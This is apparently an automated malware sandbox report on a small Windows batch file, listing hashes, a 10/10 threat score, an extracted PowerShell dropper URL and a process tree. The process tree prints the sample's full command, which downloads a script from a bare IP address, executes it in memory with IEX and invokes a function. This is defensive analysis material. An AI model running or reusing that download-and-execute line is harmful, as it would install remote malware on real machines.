ec1d6ba7554a54f9a7f29c8d80402ca165daad5f17549536d444fd0308adf769 | Triage

Analysis

max time kernel
131s
max time network
68s
platform
windows10_x64
resource
win10v200430
submitted
17-05-2020 20:10

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General

Target

df334765cb86900aeb9265c48916c137.bat
Size

216B
MD5

a5ab635f123ce58648141c6dfd2b8c99
SHA1

da19de350a515c434870a6493a1d7484cb5f64df
SHA256

ec1d6ba7554a54f9a7f29c8d80402ca165daad5f17549536d444fd0308adf769
SHA512

e69b7a51700f56cb940b3fba88e836a799cbbd61be6a57199ed18161a2096a688effd8c2a20409022791ee2c28ec1037c908eb338763bf43f53d5809eeeff691

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://185.103.242.78/pastes/df334765cb86900aeb9265c48916c137

Signatures

Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

2196 1928 WerFault.exe powershell.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

WerFault.exe

description pid process

Token: SeRestorePrivilege 2196 WerFault.exe
Token: SeBackupPrivilege 2196 WerFault.exe
Token: SeDebugPrivilege 2196 WerFault.exe

Suspicious behavior: EnumeratesProcesses 14 IoCs

Processes:

WerFault.exe

pid	process
2196	WerFault.exe
2196	WerFault.exe
2196	WerFault.exe
2196	WerFault.exe
2196	WerFault.exe
2196	WerFault.exe
2196	WerFault.exe
2196	WerFault.exe
2196	WerFault.exe
2196	WerFault.exe
2196	WerFault.exe
2196	WerFault.exe
2196	WerFault.exe
2196	WerFault.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\df334765cb86900aeb9265c48916c137.bat"
1⤵
PID:1732

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/df334765cb86900aeb9265c48916c137');Invoke-ADDYUVRSM;Start-Sleep -s 10000"
2⤵
PID:1928

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1928 -s 704
3⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
PID:2196

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

memory/2196-0-0x0000000004190000-0x0000000004191000-memory.dmp

Filesize
4KB

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memory/2196-1-0x00000000047C0000-0x00000000047C1000-memory.dmp

Filesize
4KB

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